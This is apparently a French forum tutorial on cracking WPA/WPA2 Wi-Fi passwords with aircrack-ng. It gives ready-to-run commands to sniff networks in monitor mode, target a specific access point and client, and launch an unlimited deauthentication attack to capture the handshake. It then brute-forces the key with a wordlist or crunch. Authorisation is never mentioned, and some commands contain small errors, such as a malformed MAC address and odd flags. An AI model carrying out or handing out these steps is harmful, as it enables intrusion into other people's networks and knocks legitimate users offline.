[TUTO]Crack clé wpa et wpa2

Aircrack-ng et les outils à utilisé pour cracker une clé wpa/wpa2:

Aircrack-ng est une sorte de boîte à outils pour l’audit de réseaux sans fil.
Il permet de casser les clés WEP et WPA-PSK à partir de paquets capturés sur le réseau, cet outil montre la faiblesse de la protection WEP du réseau Wi-Fi d’ou la nécessité d’un mot de passe WPA-PSK complexe.

Code : Tout sélectionner

airmon-ng

ecouté les réseaux Wi-Fi « mode monitor ».

Code : Tout sélectionner

airodump-ng

capturé et enregistré le paquet qui contien le « handshake ».

Code : Tout sélectionner

aireplay-ng

forcer la déconnexion du client et capturer le handshake.

Code : Tout sélectionner

aircrack-ng

crack du handshake en utilisant de la bruteforce.

1. Airmon-ng pour le passage en mode monitor.

En tapant iwconfig on se renseigne sur les interfaces wifi.

Mode monitor afin d’écouter les réseaux wifi, avec la commande airmon-ng start suivie du nom de mon interface wifi.

Code : Tout sélectionner

airmon-ng start wlan1

2. Airodump-ng pour l’écoute des réseaux

Pour lancer l’analyse du réseaux wifi on tape la commande:

Code : Tout sélectionner

airodump-ng –encrypt wpa wlan1mon

Avec la commande précédente airodump-ng a écouté et affiché les canaux wifi utilisant l’encryptation WPA WPA2.
Ici on va cibler le point d’accès dont l’essid est dust sur le canal 7 et ayant comme adresse mac 96:CE:69:FF:E6:B4 avec la commande suivante:

Code : Tout sélectionner

airodump-ng wlan1mon –encrypt wpa –bssid 96:CE:69:FF:E6:B4 –channel 7 –write dust

On vois 3 stations qui sont connectées (dans cet exemple). Pour réussir un crack wpa, il est trés inportant et meme prémordial qu’une station soit connectée, le handshake est nécessaire au crack et il ne peut etre capturé que si une station est connectée au point d’accès wifi.

3. Aireplay-ng pour forcer la déconnexion du client.

Le handshake est un ensemble de paquets émis par le point d’accès et la station lorsque celle ci se connecte. Ici on va utiliser la méthode d’attaque -0 (déauthentication) pour forcer la déconnexion du client et capturer le handshake.

Code : Tout sélectionner

aireplay-ng -0 0 -a 096:CE:69:FF:E6:B4 -c 80:19:34:DC:89:85 wlan1mon

Le paramètre -0 signifie une attaque déauth, le 0 qui suit signifie que l’envoi des paquets de déauth sera infini.
il faudra donc arretter l’attaque après quelques instants avec ctrl + c. En revenant dans le shell airodump-ng, l’apparition du WPA handshake en haut à droite de la fenetre indique la réussite de l’attaque.

4. Aircrack-ng crack du handshake

Le crack du handshake avec bruteforce peut commencer Pour lancer aircrack-ng on tape la commande suivante: aircrack-ng -w nom-du-fichier-dictionnaire nom-du-fichier-de-capture

Exemple:

Code : Tout sélectionner

aircrack-ng -w /root/Documents/wifi/dico/dico06.txt -0 hash/dust.capair7

Aircrack-ng va tester tous les mots de passe contenus dans votre fichier dictionnaire.
Donc il faut s’armer de patience et tester plusieurs fichiers dictionnaires. Si vous ne disposez pas de dictionnaire je vous invite à utiliser crunch avec la commande suivante:

Code : Tout sélectionner

crunch 10 10 0123456789 –stdout | aircrack-ng -0 -e dust -w – hash/dust.cap

“La punition du menteur est de ne pouvoir croire personne”